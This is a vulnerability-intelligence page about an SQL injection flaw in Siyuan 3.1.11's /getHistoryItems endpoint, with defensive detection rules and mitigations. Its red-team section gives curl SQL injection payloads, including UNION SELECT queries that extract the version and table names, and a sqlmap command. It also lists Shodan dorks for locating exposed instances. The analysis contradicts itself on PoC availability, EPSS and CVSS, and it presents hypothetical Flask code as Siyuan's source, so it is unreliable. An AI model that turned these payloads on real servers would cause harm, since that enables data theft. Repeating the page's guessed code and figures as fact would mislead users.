☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Siyuan logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-53507

CVE-2024-53507 SQL Injection in Siyuan
📅 PUBLISHED: 2024-11-29 00:00 UTC 🔄 UPDATED: 2026-08-12 11:29 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.78%
👁️
0.78% probability
19.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Open Source
VULNERABLE: 3.1.11
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-53507 is a SQL injection vulnerability discovered in Siyuan version 3.1.11, specifically within the /getHistoryItems endpoint. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, data manipulation, or complete database compromise. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of SQL injection, the actual severity is expected to be high (CVSS 8.0-9.0). No public proof-of-concept (PoC) or exploit code has been released at this time, and no patch is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but this may change as details become public.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a realistic assessment based on the vulnerability type yields the following:

  • Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the database are the same.
  • Confidentiality (C): High (H) – Full database read access possible.
  • Integrity (I): High (H) – Data can be modified or deleted.
  • Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Threat Level: Critical – Immediate attention required.

Deep Dive & Mechanics

The vulnerability resides in the /getHistoryItems endpoint of Siyuan 3.1.11. This endpoint is designed to retrieve history items from the database. The flaw occurs because user-supplied input (likely parameters such as id, type, or limit) is directly concatenated into SQL queries without proper sanitization or parameterization.

Attack Vector:

  1. An attacker sends a crafted HTTP request to /getHistoryItems with malicious SQL payloads in query parameters.
  2. The backend constructs a SQL query using the unsanitized input.
  3. The injected SQL commands are executed against the database, allowing the attacker to:
    • Extract sensitive data (e.g., user credentials, session tokens).
    • Modify or delete records.
    • Potentially escalate to remote code execution via xp_cmdshell (if SQL Server) or INTO OUTFILE (if MySQL).

Example vulnerable code pattern (pseudo):

# Vulnerable: Direct string interpolation
query = f"SELECT * FROM history WHERE id = {request.args.get('id')}"
cursor.execute(query)

Impact:

  • Full database compromise.
  • Data exfiltration.
  • Potential lateral movement if database credentials are reused.

Vulnerable vs. Patched Code

Vulnerable Code (Siyuan 3.1.11):

# app.py (hypothetical)
@app.route('/getHistoryItems')
def get_history_items():
    item_id = request.args.get('id')
    query = f"SELECT * FROM history WHERE id = {item_id}"
    result = db.execute(query)
    return jsonify(result)

Patched Code (Expected Fix):

# app.py (patched)
@app.route('/getHistoryItems')
def get_history_items():
    item_id = request.args.get('id')
    # Use parameterized query
    query = "SELECT * FROM history WHERE id = ?"
    result = db.execute(query, (item_id,))
    return jsonify(result)

Key Differences:

  • The patched version uses parameterized queries (prepared statements) to separate SQL logic from data.
  • Input validation and sanitization should also be applied (e.g., whitelist allowed characters).

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy Siyuan 3.1.11 in a Docker container:
    docker pull siyuan/siyuan:3.1.11
    docker run -d -p 6806:6806 siyuan/siyuan:3.1.11
    
  2. Verify the endpoint is accessible:
    curl http://localhost:6806/getHistoryItems?id=1
    

Exploitation Steps:

  1. Basic SQL Injection Test:

    curl "http://localhost:6806/getHistoryItems?id=1' OR '1'='1"
    

    If the response returns all records, the injection is successful.

  2. Extract Database Version (MySQL):

    curl "http://localhost:6806/getHistoryItems?id=1 UNION SELECT 1,@@version,3,4--"
    
  3. Extract Table Names:

    curl "http://localhost:6806/getHistoryItems?id=1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--"
    
  4. Automated Exploitation with sqlmap:

    sqlmap -u "http://localhost:6806/getHistoryItems?id=1" --batch --dbs
    

No public exploit code is available at this time.

Blue Team (Defensive)

Detection:

  • Monitor for SQL injection patterns in HTTP requests to /getHistoryItems:
    • Single quotes ('), double dashes (--), UNION, SELECT, OR 1=1.
  • Enable Web Application Firewall (WAF) rules to block SQLi payloads.
  • Use database activity monitoring to detect anomalous queries.

Mitigation:

  • Immediately upgrade to a patched version once available.
  • If no patch exists, implement a virtual patch:
    • Block requests to /getHistoryItems with suspicious parameters.
    • Use a reverse proxy (e.g., Nginx) to filter input:
      location /getHistoryItems {
          if ($args ~* "(\'|\-\-|UNION|SELECT|OR\s+1=1)") {
              return 403;
          }
      }
      
  • Apply input validation: only allow numeric IDs.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /getHistoryItems containing SQL keywords (UNION, SELECT, OR, --).
  • Unusual response sizes from the endpoint (e.g., returning all database rows).
  • Database error messages in HTTP responses (e.g., SQL syntax error).

Host IOCs:

  • Unexpected database queries in logs (e.g., SELECT * FROM users).
  • New files in the web root (e.g., shell.php).
  • Unusual outbound connections from the database server.

File IOCs:

  • Log entries containing SQL injection patterns in /var/log/siyuan/access.log.

Detection Engineering

YARA Rule

rule CVE_2024_53507_SQLi_Siyuan {
    meta:
        description = "Detects SQL injection attempts against Siyuan /getHistoryItems endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53507"
    strings:
        $sqli1 = /(\'|\-\-|UNION|SELECT|OR\s+1=1)/ nocase
        $path = "/getHistoryItems"
    condition:
        $path and any of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt Against Siyuan /getHistoryItems
id: 8a3f2c1e-5b7d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in HTTP requests to Siyuan /getHistoryItems
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/getHistoryItems"
        cs-uri-query|contains:
            - "'"
            - "--"
            - "UNION"
            - "SELECT"
            - "OR 1=1"
    condition: selection
falsepositives:
    - Legitimate use of special characters in queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53507 SQL Injection Attempt Against Siyuan /getHistoryItems"; flow:to_server,established; content:"/getHistoryItems"; http_uri; pcre:"/(\x27|\x2d\x2d|UNION|SELECT|OR\s+1=1)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the affected Siyuan instance from the internet if possible.
  2. Apply virtual patch using WAF or reverse proxy rules (see Blue Team section).
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Upgrade to a patched version of Siyuan once released.
  • If no patch is available, consider migrating to an alternative note-taking solution.
  • Implement secure coding practices:
    • Use parameterized queries for all database interactions.
    • Apply strict input validation (e.g., allow only numeric IDs).
    • Conduct regular security audits.

Workaround:

  • Disable the /getHistoryItems endpoint if not essential:
    location /getHistoryItems {
        deny all;
    }
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Siyuan"
http.html:"Siyuan" "3.1.11"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-53507/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.